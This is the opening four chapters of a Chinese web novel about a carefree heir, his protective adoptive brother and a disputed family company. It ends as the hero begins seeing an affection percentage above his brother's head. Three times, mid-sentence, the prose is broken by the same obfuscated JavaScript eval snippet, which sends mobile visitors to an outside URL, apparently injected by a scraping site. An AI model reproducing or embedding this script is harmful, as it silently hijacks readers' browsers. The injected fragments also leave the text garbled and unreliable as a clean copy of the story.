《豪门废物刷爆哥哥好感度后》 1. 第1章 海城五月,天气已经热得不像话了。 三小时的大课上得人昏昏欲睡,直到下课铃响起才一扫教室的沉闷。 “笙笙!中心区开了家Omakase,据说味道绝了,要不要一起去尝尝看?”顾嘉言一把搂住宁笙的肩膀热情邀请。 宁笙正慢吞吞将课本塞进背包里,闻言抬起头,露出一张被粉色柔顺碎发半遮着的脸。 他五官生得标致,右边脸颊的一颗殷红小痣若隐若现。皮肤和发色都很浅,眼瞳也是猫眼般的琥珀色。 “不了。”宁笙声音懒散,带了点困意,“你和林也俩人去吧,我……有点事。” “什么事啊?比跟好兄弟干饭还重要?”林也凑过来,表情意味深长:“该不会是去和女孩子约会吧?快说!是不是上次给你送奶茶的外语系系花?” 顾嘉言不以为然,意有所指地瞟了眼宁笙优越的侧脸:“我觉得是隔壁班一米八的黑皮大奶篮球社长。毕竟他垂涎我们家宁笙的美貌不是一天两天了。” 宁笙是直男,而且恐同。 开学第一天就被人偷拍照片发在年级大群。很快大家就知道新生里有个惊为天人的男孩子。 每个社团都想把这个活招牌抢过来,那个黑皮大高个甚至追了一条街要加WeChat。 当然了,人家也没明目张胆说自己是同性恋,只说想和他交个朋友而已。 饶是如此,宁笙每每想起他都会浑身起麻。 他没好气地拍开顾嘉言的手,把背包甩到一边肩上:“约你个头,就是个长辈,非要当面和我聊点事情,烦死了。” 他秀气的眉心皱着,语气里带了点不情愿。 要不是对方是他爸爸的故交,也算从小看着他长大,电话里语气还特别严肃,他真想直接放飞机了。 而且还特意叮嘱他一个人来,好像怕被谁知道似的。 “行吧,笙笙没口福了,咱俩自己去吧!”顾嘉言也不再勉强,转头和林也勾肩搭背,“确定不用我俩给你打包?” “不用,谢了。”宁笙挥挥手,看他俩嘻嘻哈哈走远的背影,叹了口气,缓缓朝校门外约定的咖啡店走去。 骄阳似火,海大作为百年老校优点之一就是环境古朴清幽。 日光透过高大的梧桐树冠洒下,碎金般印在大理石路面。宁笙那头粉毛在光线下更加梦幻,引得路上的人频频侧目。 颜色不基础,人长得也不基础。 宁笙习惯了这种目光,加快脚步,只想赶紧钻进有空调的地方。 终于到了咖啡店,推开门冷气混着咖啡豆的醇香扑面而来。宁笙舒服得眯了下眼,目光茫然地扫了圈室内。 一个穿着深色西装的中年男人背窗而坐,面前放着一杯清水,正眉头紧锁地盯着手机,似乎在焦急等人。 “江叔叔。”宁笙走过去,把肩上的背包随意扔在旁边空位上,“您今天找我是有什么要紧事儿吗?” 江卫国放下手机去看宁笙,他的长相和小时候几乎等比例放大,就是五官长开了一些,结合了父母的所有优点。 “想喝什么自己点,江叔叔请。” 宁笙也没客气,不过没点咖啡,点了杯酸酸甜甜的满冰橙C。 江卫国脸色凝重,时不时张望门口的方向,显然有很重要的事情。 服务生很快把橙C送了上来,宁笙拿起杯子喝了一大口,整个人刚放松下来,就听见对方压低了声音道:“阿笙,你必须想办法从靳穆然手里把公司抢回来。” “咳……咳咳——”宁笙一口气呛住,咳得惊天动地,脸颊和脖子也一片涨红。 江卫国皱了皱眉,给他递了张纸巾:“你慢点喝。” 宁笙好不容易顺过气,不可置信地问了一遍,“江叔叔,您说什么?” 他怀疑自己因为太热出现了幻听,“您刚刚说让我……从靳穆然,也就是我哥手上把公司抢回来?” 宁笙指着自己的鼻子,震惊的音调在安静的咖啡馆里显得异常突兀,“我没听错吧?我?去抢公司?” 旁边那桌女孩子和前台的服务生都好奇地瞥了他们一眼。 江卫国脸上闪过一丝尴尬,他身体前倾,声音压得更低:“小声点!阿笙,叔叔没跟你开玩笑。盛禾是你爸妈一辈子的心血,你真甘心让它一直攥在外人手里?” “江叔叔,我哥不是外人。”宁笙对江卫国的用词感到不适,下意识反驳:“我爸爸说过我哥就是宁家人。而且这些年公司都是他在管,做得不是挺好吗?” 没错,靳穆然如今手握宁家产业大权,宁笙只是个大二学生并不参与公司运营,最多就是股东大会出来打个酱油。 公司的职员少见他,有时候甚至不知道他是谁。 但宁笙无所谓,靳穆然单独给他开了账户,公司每年的利润和分红都会如期进账。 而且他物欲比较低,平时吃穿用度都是他哥亲自打理,也没别的地方花钱,所以卡里面的钱越来越多。 “他管得好有什么用!”江卫国像是被这句话戳中了痛处,表情有些扭曲。 “名声、地位、财富……他靳穆然现在什么都有,可这一切都是踩着你宁家的基石上去的。阿笙……你还是太年轻了,不懂什么叫人心叵测!亲兄弟都会争家产,别说靳穆然和你没有任何血缘关系!” 宁笙听得脑瓜突突疼,忽然想起什么:“江叔叔,是不是公司出什么事情了?” 江卫国觉得这小子还不算太笨,叹了口气道:“靳穆然最近砍了不少公司元老。这些人在盛禾待了这么多年,都跟过你爸爸的,就这么硬生生的被他逼走了。” 原来如此,宁笙咬着吸管没说话。 江卫国继续危言耸听:“阿笙,你别看靳穆然表面尽心尽力,谁知道背地里有没有别的打算?等他慢慢把盛禾掏空、转移,到时候你要后悔可就来不及了!” 宁笙被他紧盯得有些不自在,低头喝了一口饮料。 江卫国说的东西他并非不能理解。 只是一提到靳穆然,宁笙脑海就不受控制浮现这位智绝超群的哥哥。 从认识他起就一路跳级碾压同龄人,名校证书能糊满一面墙。不仅精通多国家语言,还极具经商头脑。 在宁笙爸爸意外离世、公司内忧外患的至暗时刻,年仅二十岁的靳穆然临危受命,以远超年龄的铁腕、冷静果决到可怕的手段稳住了公司局势。 短短几年,他掌权之下的盛禾不仅原有的产业蒸蒸日上,还在医疗、科技、新能源等领域有了新的建树。 在宁笙的心里,靳穆然是完美强大、无所不能的代名词。 而对于自己,宁笙从小就有非常清晰定位——豪门废物一个。 人生最大的烦恼就是靳穆然管他管得太紧。 不能随心所欲打游戏、和朋友聚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411792|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会晚归,也不能独自出远门。 甚至不能早恋! 没错!宁笙拳头握紧,他都读大学了竟然还算是早恋!好在他也没有喜欢的对象,不然他高低得抗议一番。 所以让他去跟靳穆然抢公司?宁笙会觉得这是吃饱了撑的没事干,自讨苦吃。 哪怕悄咪咪脑补一下下,都是对他哥智商的极不尊重。 假如真有这么一天的话。 靳穆然根本不需要用任何手段,只要抬起沉冷的眼眸淡淡扫他一眼,宁笙自己就会“噗通”跪下然后说:哥哥我错了。 江卫国看他半天不说话,用手指不耐烦地叩了叩桌面:“阿笙?叔叔的话你听进去没有?这不是小事,你得早做打算!如果你需要叔叔可以帮你!” 宁笙终于回过神,言辞少有的谨慎,毕竟什么该说什么不该说他多少知道:“江叔叔,我知道您是担心我。虽然这个担心是多余的,我还是很感谢您。” 他深吸一口气,望着江卫国的眼睛继续说道:“但是我哥……他把公司管得的很好。比我爸那时的规模还大了好几倍。公司上下的员工对他也很敬重崇拜,我真没觉得现在这样有什么不好的。而且……” 江卫国脸色越来越差,语气也有些不耐烦:“而且什么?” 年轻男孩抬起头,白净清透的脸上露出一种既认命又坦诚的表情,“您也太看得起我了。我根本不是做生意的料。” 那些数字、报表、合同、谈判……宁笙一听就头疼得要死。 连学校小组作业都是抱大腿混过去,让他去管一个几千人的大公司?不好意思,他会“嘎嘣”一下死在那里的。 宁笙眼神诚恳,透着一股不谙世事的清澈感:“真的,公司交给我哥管挺好的,对大家都好。” 至少公司不会因为他这个废物而倒闭,也不会有人因此失业。 江卫国看宁笙这副样子,忍了又忍才没把烂泥扶不上墙骂出口。不过他也知道宁笙的智商一时半刻很难完全消化。 沉默了半晌,他才站起身道:“罢了,叔叔今天该说的都说了,你回去好好想想我的话。等有空叔叔再来找你。” 还、还要找我? 宁笙在心里暗暗叫苦:求求你放过我吧,让我安心做咸鱼不行吗…… 江卫国眉头紧锁着走了,宁笙等他彻底消失在视线里才拿起背包往外走。 司机发了消息给他说在路边等。 宁笙脑子还是乱糟糟的,远远看见树荫底下停着那台熟悉的白色幻影,于是一溜小跑过去开门上车。 近千万的座驾车内温度适应,散发着昂贵皮革的幽香,顶部一整片手工定制的星空顶蓬如梦似幻、熠熠生辉。 宁笙擦了擦额头的汗,一回头就被后座的高大身影吓了一跳! “卧槽!哥、哥哥你怎么也在!” 宁笙心脏都快要跳出来,特别是刚见完江卫国就像做了什么亏心事似的。 靳穆然合上手里的浅蓝色文件夹,半撑着手肘看他。 他今天没穿西装外套,黑色暗纹衬衫完美包裹着训练有素的肌肉线条,优越的长腿斜向随意交叠。 袖口挽起的腕骨处,一只深蓝表盘的百达翡丽光芒流淌。 这是宁笙去年送给他的生日礼物,靳穆然佩戴率很高。 他静静盯着宁笙额头上的细汗:“十二点整下课,这半个小时你去见谁了?” 2. 第2章 宁笙被晒过的脸颊有点红,他含糊地找了个借口:“肚子疼,上厕所出来晚了。” 靳穆然闻言伸手去摸他额头,男性温热干燥的掌心贴上宁笙汗湿的额头。 他因为心虚下意识往后缩了缩,却被对方另一只手轻轻按住肩膀。 “躲什么?”靳穆然声音低沉。 “没、没躲。” 宁笙眼神飘忽,白净的耳朵微微收起。 清冷的日光透窗而入,笼罩着靳穆然立体的骨骼轮廓。 他们之间只相差六岁,宁笙还是一副懵懂男孩的模样,而靳穆然已经成长为真正的、具备雄性气息的男人了。 靳穆然目光在他泛红的脸上逡巡,“我说过的话都忘了吗?早上吃过什么不该吃的?” 宁笙摇头:“没有。” “等会儿带你去覃医生那里看看。” “哎别别别!”宁笙连忙抓住靳穆然的手臂,“哥哥,真不用去麻烦覃医生!我现在已经好多了,就是……就是没吃午饭,胃里空得有点不舒服。” 他一边说一边悄悄观察靳穆然的脸色。 覃医生是宁家的家庭医生,对他装病已经很有经验,一去肯定会露馅的。 靳穆然审视般看着他,目光在他恹恹的神色上扫过,没有拆穿:“那直接回家吧,让桂姨煮点清淡的粥。” “哥,”宁笙扯了扯他的衬衣袖子,声音放软了些,“我不想喝粥……嘴里没味道。我们去吃上次那家西班牙菜好不好?” 从小到大,靳穆然对他这种带着撒娇意味的语气最没辙了。 果然,靳穆然沉默了几秒,却没直接拒绝:“不舒服还想着吃西班牙菜?……吃粤菜吧。文叔,去港华悦。” 粤菜也行,宁笙小小雀跃了一下,怕露馅儿又赶紧捂住肚子作出虚弱的样子。 靳穆然瞧他拙劣的表演,屈指轻轻敲了下他的额头:“装也装得像一点,下次再乱吃东西,直接押你去覃医生那儿打针。” “知道啦知道啦。”宁笙笑嘻嘻应着,知道这关算是过了。 车内的气氛缓和下来,宁笙拿出手机打开了小粉书。一上线就有99+未读信息,还有不少新增粉丝。 他注册账号后,时不时会在上面发一些自己的画稿作品。昨晚发布的一组OC评论区底下已经满是夸夸。 @再给我咬一口:震撼美味啊太太! @纯情狂野大蟑螂:劳斯求求上色教程,太喜欢了呜呜! @蜡笔小心眼子:画得好好,想问问劳斯有没有原型呀? 原型?宁笙放大画稿欣赏片刻,又去看身旁的靳穆然。 借用了他哥一双眼睛算不算有原型? 其实他也不是故意的,画的时候不小心就这样画了,后来觉得挺合适的就没改,反正他哥不会知道。 宁笙挑了些评论回复,才想起来问靳穆然:“哥,你不是说去港城出差了吗?怎么这么快就回来了?” 靳穆然神色似乎冷了几分,唇角微压:“处理完事情就回来了,想着是午饭时间所以顺道去学校接你。” “哦。”宁笙似乎想起了什么,问道:“公司今年和港城那边有什么商业合作吗?最近好像经常听你说去那边。” 海城和港城虽然只有一河之隔,但盛禾的业务重心一直在内地。 这段时间宁笙已经好几次听到靳穆然去港城了。 靳穆然原本在看邮件,闻言侧过脸,沉静的黑眸望向宁笙:“笙笙开始关心公司业务了,是不是有人跟你说了什么?” 目光对视的一瞬间,宁笙眼皮颤了一下。 他觉得自己像只敞开肚皮的小动物,被人从头到脚捋了一遍。 宁笙摇摇头:“……没有,我就是问问。” 靳穆然神色依然平静:“笙笙想知道公司的任何事情都可以问我。毕竟你才是盛禾唯一的主人,这是你的权利。” 又来了—— 宁笙觉得头很痛,靳穆然的意思摆明在说自己不信任他。苍天作证,他对管理公司真的一点想法都没有,也从未想过要行使所谓的“权利”。 他伸手攥住靳穆然的手臂:“穆然哥哥,公司有你管理我超级放心。你在我心中就是最亲的亲人!也是这个世界上我最信任的人!” “亲人。”靳穆然面无表情重复这两个字。 宁笙为了不让他哥胡思乱想,眼神特别真挚:“真的!你永远是我的哥哥,这一点不会有任何改变!” “永远不会改变?”靳穆然眼眸似乎一瞬间沉寂下来,“笙笙,这个世界所有事情都在瞬息万变。为什么你会觉得我跟你的关系不会变?” 靳穆然把手臂收回没再说话,看向窗外飞快倒退的高楼大厦。 “……不然呢?难不成我们要反目成仇吗?” “你在想什么乱七八糟的?” “那不是你说关系会变的吗……” 宁笙不知道自己说错了什么,打量着他的神色,脸颊上的小红痣也惴惴不安。 文叔察觉到车厢的气氛有些低压,透过后视镜朝这边看了一眼。 靳穆然冷冷回看,吓得他赶紧收回视线。 “笙笙,我们不会变成仇人,下次不要说这种话了。” “哦。”宁笙彻底老实了,一路上都抿着唇看风景。 直到在港华悦的包厢里坐下,他才觉得靳穆然恢复如常。 服务生拿了菜单过来,他已经饿得前胸贴后背,听见靳穆然问他:“除了黑松露虾饺、鲍鱼伊面、香芋排骨还要点别的吗?他们家的陈皮红豆沙做得挺有水准的。” 宁笙眼睛一亮:“要!还要一份酥皮蛋挞!”他最喜欢这家的蛋挞,中间又嫩又滑,酥皮嘎嘣脆。 “蛋挞太甜腻,不舒服少吃点。”靳穆然头也没抬,手指在菜单上向服务员指了指,“只要一个。” 宁笙眼底闪过一丝狡黠。 靳穆然就是这样,嘴上管得严,最后总会妥协满足他的小愿望。 港华悦作为海城唯一的米其林粤菜,菜色精致又美味。宁笙吃得心满意足,把车里那点忐忑抛在了脑后。 靳穆然吃饭时不怎么说话,但会自然地给宁笙打点食物。这是他们相处多年的习惯,宁笙本来已经习以为常。 直到上次顾嘉言笑他,这么大个人了还要哥哥给他夹菜剥虾,跟个小公主似的。他就不让他哥在外人面前这样了。 不过靳穆然完全没当一回事,该怎么样还是怎么样。 包厢里的电视正在播放新闻,主持人操着一口地道的粤语:“……本台最新消息,港城知名企业鼎丰集团创始人,现年七十八岁的赵鼎丰先生近日心脏病突发,情况危殆。” “据知情人士透露,赵老先生此前并未公开立下详细遗嘱,其持有的鼎丰集团超过百分之四十的股权、以及港岛数千亿的不动产归属尚未明朗。传闻他已有属意的神秘继承人,可能引发的家族财产分割问题……” 宁笙夹虾饺的动作顿住了。 画面里鼎丰总部的以及赵老先生的资料。 虽然已经老了,但能看出来年轻时五官很帅,就像七八十年代的港城电影男星。 不知怎的,他忽然看向对面的靳穆然。 靳穆然也正看新闻,脸上表情没什么变化,只是眼神沉冷了几分,他察觉到宁笙的目光后转过头问:“怎么了?” 宁笙咬着勺子,摇了摇头。 其实也没什么,就是乍一看觉得电视里这个人和靳穆然有点像,尤其是眉眼和鼻子。 靳穆然是十五岁的时候来到宁家的。 那时候宁笙刚过九岁生日,还是个粉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411793|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雕玉琢的小屁孩,好奇地扒着门框偷看这个从天而降的帅气哥哥。 比隔壁小葡萄的哥哥更帅,更高,漆黑的眼睛像点缀满星星的夜空。 还有一个眼睛红红的漂亮阿姨,只是看起来很伤心,估计哭了很久。 看见宁笙在观察自己,阿姨露出一个勉强的笑容。 宁爸爸捏了捏他的小鼻子,笑眯眯给他做介绍:“小笙,这是你穆然哥哥和赵阿姨。以后我们就是一家人啦。你不是老说没人陪你玩吗?穆然哥哥成绩很好,玩游戏也很厉害哦!” 宁笙虽然年纪小但不是傻,这个哥哥好看是好看,就是瞧着就脾气不太好,脸色也冷冷的像个大冰块似的。 “爸爸,他们为什么要来我们家呀?你们是不是结婚了?小葡萄说他妈妈离婚后又给他找了个新爸爸,那赵阿姨是不是我的新妈妈?” 童言无忌,小宁笙直白的话语让漂亮阿姨的脸闪过一丝尴尬。 “宁昊……要不我们还是不打扰你了。” 她回头去看少年瘦削挺拔的身形,形态优美的薄唇抿得很紧。自始至终拘谨地站在门口,是随时准备离开的姿态。 宁爸爸赶紧阻拦:“靳哥当年救过我一命,现在他人不在了,你们有困难怎么算是打扰呢?安心住下吧,至少他们的手伸不到这么长。” 宁笙眨巴着眼睛,表情懵懂,漂亮阿姨到底是不是他的新妈妈呀?如果是真的就太好了,他要去和小葡萄炫耀,看谁还说他没妈。 “小笙,是这样的……哥哥的爸爸不在了,外面有好多好多坏人想欺负他们。我们小笙是会变身的奥特曼对不对?哥哥有危险你愿不愿意保护他?” 宁笙似懂非懂,原来这个哥哥失去了爸爸,还遇到了危险!他随手抄起变身专用的玩具,拍着胸脯信誓旦旦道坏人交给他来打倒! 靳穆然就这么在宁家住了下来。 至于他的原生家庭,以及那些讳莫如深的过往,宁笙一直知之甚少。 “英雄迟暮,不管曾经再怎么叱咤风云也有日落西山的一天。”靳穆然目光从电视新闻中收回,给宁笙夹了块排骨,语气没什么波澜,“给我乖乖吃饭,菜凉了口感就差了。” 宁笙“哦”了一声,重新拿起筷子。他头脑一向不喜欢想太复杂的东西,很快就把这件事抛诸脑后。 吃完饭,靳穆然起身:“我去结账,你……”他看了一眼宁笙没动过的蛋挞,“不是说要吃这个?” “有点饱了,吃不下。” “在这等我,不要乱跑。” 宁笙点点头,知道靳穆然是去帮他把没吃的蛋挞打包。他哥总是这样,明明刚才说不让吃太多的也是他。 靳穆然刚离开包厢没多久,宁笙也起身,想到走廊外面透透气。 港华悦生意很好,过了饭点也依然门庭若市。宁笙被楼梯玄关处的画所吸引,站着看了一会儿。 忽然,上方传来一阵急促的脚步声,还有一个小孩惊慌的尖叫声! 宁笙下意识抬头,只见一个约莫四五岁的小男孩正从楼梯缺口踉跄着扑下来,眼看就要头朝下摔落!孩子的母亲似乎还在楼上,发出撕心裂肺的叫喊。 一切发生在电光火石之间。 宁笙根本来不及细细思考,身体已经先一步做出了反应。他一个箭步冲上前,张开手臂试图接住那个坠落的小小身影。 “砰——” 沉重的撞击力猛地传来,宁笙只觉得胸口一闷,骨头疼得像是裂开似的。 巨大的冲力让他根本站不稳,抱着孩子向后倒去。后脑勺磕碰到了什么坚硬的东西,发出一声闷响。 宁笙眼前一黑,耳边最后响起的是孩子受惊的哭声和远处似乎变得模糊的、靳穆然惊怒的呼喊声:“笙笙——!” 等等、他不会就此嘎了吧? 3. 第3章(修) 宁笙在一片黑暗中醒来,映入眼帘的是白色天花板。他眨了眨眼睛,思索自己为什么在这里。 隐约记得有个小孩摔下来,然后他接住了。 所以他没死? 后脑勺和胸口火辣辣的刺痛,宁笙“嘶”了一声,下意识想伸手去碰,还没动就被一只手掌按住。 “别动。”沙哑的嗓音响起。 宁笙偏过头,看见一身黑衣的靳穆然坐在床边,周身气息冷冽,熬得通红的双眼正沉沉盯着他。 “哥哥……”宁笙可怜巴巴地撇了撇嘴,一开口说话就觉得胸骨疼得要裂开了似的,“我好疼啊……” 以他对靳穆然的了解,他哥肯定是生气了。所以他要先狠狠卖一波惨。 靳穆然下颌线绷得很紧,声音里的火气压都压不住:“现在知道喊疼了?你徒手去接人的时候,怎么不想想会不会受伤、会不会疼?” 从小到大,宁笙虽然经常惹靳穆然生气,但还是第一次见他语气这么严厉,一时间被他骂得有点懵。 “哥哥……” 他承认当时确实冲动了点,但危急关头真的没时间考虑太多。他总不能眼睁睁看着那小孩摔下来吧? 宁笙知道靳穆然生气的点,所以他还是小声认错了:“对不起嘛,穆然哥哥,事出突然而且人命关天……” “你不需要跟我道歉。” 宁笙在小声嘀咕:“我也不想道歉,还不是因为你骂我。” “算你运气好,医生说你胸骨骨裂,只是骨裂不是骨折!要是那孩子再重一点,或者角度再偏一点……” 靳穆然止住话尾,深呼吸一口气,把翻涌的情绪硬压回去。 宁笙倒在地上那一幕给他的冲击实在太大了,他至今不敢回想,心口的钝痛会让他溺水般窒息。 送宁笙去医院的路上,靳穆然脸色差到了极点,森冷苍白得仿佛要吃人,医护人员也不敢和他多说话。 海城医院和盛禾有医疗器械合作,所以靳穆然第一时间找到了最专业的专家团队过来给他治疗,好在宁笙最后有惊无险。 即便如此,靳穆然最后悔的就是让宁笙独自待着,他只是离开了那么几分钟而已。 难不成真的要把他时刻揣在兜里吗? “哥哥……”宁笙像做错事的小朋友,都不敢再看靳穆然的眼睛。 但他又想起了一件很重要的事,不得不开口:“我救的那……那个小男孩怎么样了?他没事吧?” “他没事。”靳穆然语气不太温和:“只是受了点惊吓,他家长还在走廊外面,进来道过好几次谢了。” 他对于造成宁笙受伤昏迷的始作俑者,从头到尾都没什么好脸色,哪怕对方一再提出可以重金酬谢。 靳穆然只是冷冷的让他们出去,不要打扰宁笙休息。 重金酬谢?恐怕他们倾家荡产都不够宁笙一个手指头。 听说孩子没事,宁笙心里一松,唇角露出些笑意。不过怎么说,这件事儿总算是有个圆满的结局,他也没白白受伤。 “除了胸口,还觉得哪里不舒服吗?”靳穆然骂归骂,最在意的还是宁笙的身体状况,他担心有什么潜在隐患。 宁笙小幅度动了动身体,只觉得脑袋里面很昏沉,眼睛看东西也摇摇晃晃,看久了有点恶心想吐。 该不会摔坏脑子了吧?本来就不聪明这下更笨咋办? 他把症状小声说了。 “医生说你有轻微脑震荡,后脑勺有一块淤肿,要慢慢散掉。” “啊?脑震荡?”宁笙赶紧摸了把自己的后脑勺,果然肿起高高的一块,好在他头发还是好端端的。 “都这时候还记着发型呢?”靳穆然冷冷看宁笙紧张的神色,拿起旁边的水杯插上吸管,递到他嘴边:“喝口水。” 宁笙就着他的手喝了几口温水,喉咙舒服了些,这才注意到住的病房是VIP套间。 装潢高档有格调,旁边还有个小客厅,用中式屏风隔开,隐约可以看见冰箱和电视机。 靳穆然好像无论什么时候都不会委屈他,给他吃的用的住的都是最好的。 “医生说你要静养一个月,学校我已经帮你请假了。明天出院后你哪儿也别去,回家给我好好待着养伤。” 靳穆然的语气已经平静下来,就这么不容反驳地决定他未来一个月的禁闭。 宁笙已经预想到这段时间会有多无聊了,但又不敢反驳。行吧,其实不用上课也挺好的,废物就是这么随遇而安。 靳穆然看着宁笙,眼眸很深:“你的身体,不是你一个人的,下次再做这种不顾后果的事,我……” 他没说下去,但眼神已经足够严厉。 宁笙知道这次是真的让靳穆然担心了。 他乖乖点头:“知道了哥,我真的不会再这样。” …… 小男孩的家长听说宁笙醒了,非要带着孩子当面道谢。 显然他们已经知道宁笙背景不简单,所以没再提钱的事,只说会用另外的方式报答。 什么报答?宁笙跟他们说真不用了,举手之劳而已,最重要的是把孩子看好,别让他再摔第二次了。 对方赶紧又道了一遍谢,按着小男孩给他鞠躬作揖。 宁笙脑袋还是很晕,所以说了几句话就忍不住闭上眼睛休息了。 咋咋呼呼的小男孩终于被他家长领了出去。 临走前一直盯着他的粉色头发,嘴里念念有词:“妈妈,哥哥好像一个桃子啊……” 宁笙:“……” 靳穆然在走廊打电话,叮嘱秘书唐秉把重要的文件送到医院给他处理。 对面听见后大吃一惊,“靳董,您发生什么事了?” “不是我,笙笙他意外受了伤。”靳穆然言简意赅,透过玻璃去看病床上的身影,闭起眼睛似乎睡着了。 “小宁总他没事吧?”唐秉语调关切,他很清楚宁笙在靳穆然心中的地位。 人人都说靳穆然野心勃勃总有天会将盛禾易主,只有唐秉知道他这么多年是一门心思为他人打江山。 而天真无邪的小宁总,这么多年活得自由恣意,全因他的纵容和默许。 当然也有人笑过靳穆然傻,这样的废物少爷也值得他供着。再说那些恩情,这么多年该还的也早都还清了。 不过自家老板的私事大家说归说,可没人敢传到他耳朵里。 “轻伤,住院观察一晚,后续你把文件送到静庭路宁家。” “明白。”唐秉心领神会地应了,看来他老板为了照顾小宁总,打算居家办公一段时间,真是用心良苦啊! 宁笙躺了没一会儿又坐起来,正好对上推门进来的靳穆然,表情欲言又止。 靳穆然一眼就看出他有事:“怎么了?” 宁笙抿唇,脸颊有些发红:“……我想尿尿。” 靳穆然扶着他去了厕所,VIP套间的好处就是配套完善,卫生也很干净。 宁笙身上的病号服是全新的,裤头用抽绳固定,也不知道谁给他打的结,特别紧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411794|184622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他解了半天越解越死。 一番搏斗之后,他放弃了,决定求助。 “哥哥……” 靳穆然原本侧身对着他,闻言转过来。 宁笙的琥珀眼眸像盛着一汪水,小刷子般的睫毛眨了眨,求助的语气:“哥哥,能不能帮我解一下?” 靳穆然目光落在他裤头缠死的绳结上。 小肚子随着呼吸微微起伏。 衣服下摆不小心撩起一角,露出一抹白皙细腻的腰。 靳穆然呼吸顿了顿,“好。” 他手指修长、骨骼分明,攥着绳结的时候宁笙莫名抖了一下。 他去看靳穆然低垂的眼眸,签署过数亿合同的双手专心致志地给他解裤头,心底涌起一股奇怪的感觉。 其实以前靳穆然也帮他穿过衣服,可能那时还小,并不觉得有什么。 好在这种感觉并没有持续太久,靳穆然三五下就灵巧的解开了死结。 “谢谢哥哥。” “嗯。”靳穆然很自觉去门口等了。 宁笙当着他的面尿尿也没什么扭捏的,都是男生,该有的都有。只不过可能尺寸上稍微输一点。 骨裂第一夜是最难熬的。 宁笙吃了点没滋没味的晚饭,让靳穆然押着上床休息了,还把他的手机没收,不让他躺着玩游戏。 伤口在慢慢愈合,疼得他大半夜睡不着觉。 又不敢随意翻动,只能小小的吸气呼气,生怕加重伤势。 宁笙知道靳穆然也没睡,旁边陪护床上的人呼吸刻意放平,但存在感很强。 后半夜疼得最厉害时,一只温热的手掌忽然覆上他攥紧的拳头。 “疼得睡不着?”靳穆然不知什么时候坐到了床边,男人粗粝的指腹摩挲他的手指,试图让他放松。 宁笙嗯了一声,慢慢放缓了呼吸。 他其实吃过止痛药了。 但是他对天生这种药物成分不敏感,所以吃了也没什么用。 靳穆然幽幽道:“以后还敢不敢盲目做好事了?” 宁笙一直不敢哼唧出声,就是怕又被念叨,所以听见特别委屈,他都疼成这样了:“哥哥,别说了我行不行……” 靳穆然沉默了没再说话,收紧了手上的力度,他最应该责怪的是自己。 宁笙觉得靳穆然的触碰好像真的带走了一点疼痛。 就像小时候哄自己睡觉那样。 他闭眼集中感受着那只手的力量,终于迷迷糊糊睡着。 再次醒来已经是第二天中午。 和煦的阳光从百叶窗照进来,病房里静谧安然,只有电脑键盘被轻敲的声音,宁笙朝小沙发看去。 靳穆然已经在处理公事了,也不知道几点起的,一贯的卷王做派。 他今天依然没穿西装,浅色亚麻衬衫搭配卡其色西裤。 领口随性地解开了两颗扣子,袖子卷起露出结实的手臂,微垂的眼眸正专注看着屏幕,侧脸线条清晰。 宁笙起床前习惯发一会儿呆,就这么盯着靳穆然工作,渐渐觉得不对劲。 等等、那是个什么东西?他眨了眨眼,又揉了揉——不是眼花。 宁笙撑着身体慢慢坐起来,仿佛看见了什么离谱至极的东西。他不可置信地掐了把大腿,怀疑自己还在梦里。 竟然真不是幻觉啊? 宁笙睁大眼睛盯着靳穆然的头顶上方,空气中悬浮着散发柔和白光的数字:【90%】 谁能告诉他,这特么是什么鬼?! 4. 第4章 “穆、穆然哥哥?”宁笙思绪乱得一批,胡乱喊了他一声。 靳穆然从屏幕上收回视线,很自然地走过来摸了摸他额头的温度:“想吃什么早餐?我让人送过来。” 宁笙屏住呼吸,清澈的琥珀眼瞳紧盯着眼前的数字。 好逼真,好像真实存在一样。 靳穆然皱起眉问:“怎么了?” 宁笙咽了咽口水,捋了把凌乱的粉毛:“你的头顶……” 啧,怎么说啊?说你的头顶有数字? 靳穆然抬头看了眼天花板,似乎对此毫无察觉:“我的头顶怎么了?” 就、就只能他看见吗?别人会不会觉得他是神经病? 宁笙觉得更惊悚了,忘记了胸口的骨裂猛然坐起身,疼得他“哎哟”一声,然后就被靳穆然双手按住了。 “说过不要乱动。” 宁笙大口大口喘着气,睫毛止不住的颤动,难不成是脑震荡后遗症? 可这个数字又代表了什么意思呢? 宁笙借着反光的金属栏杆,看了看自己头顶,什么都没有! “到底怎么了?”靳穆然觉得宁笙的状态很不对劲,语气加重:“是身体不舒服,还别的问题?说出来。” 宁笙正想开口,病房门忽然被人推开。 两个年轻男孩在门口探头探脑,对上宁笙的眼神后立刻激动起来。 “哟,还真在这个病房!” 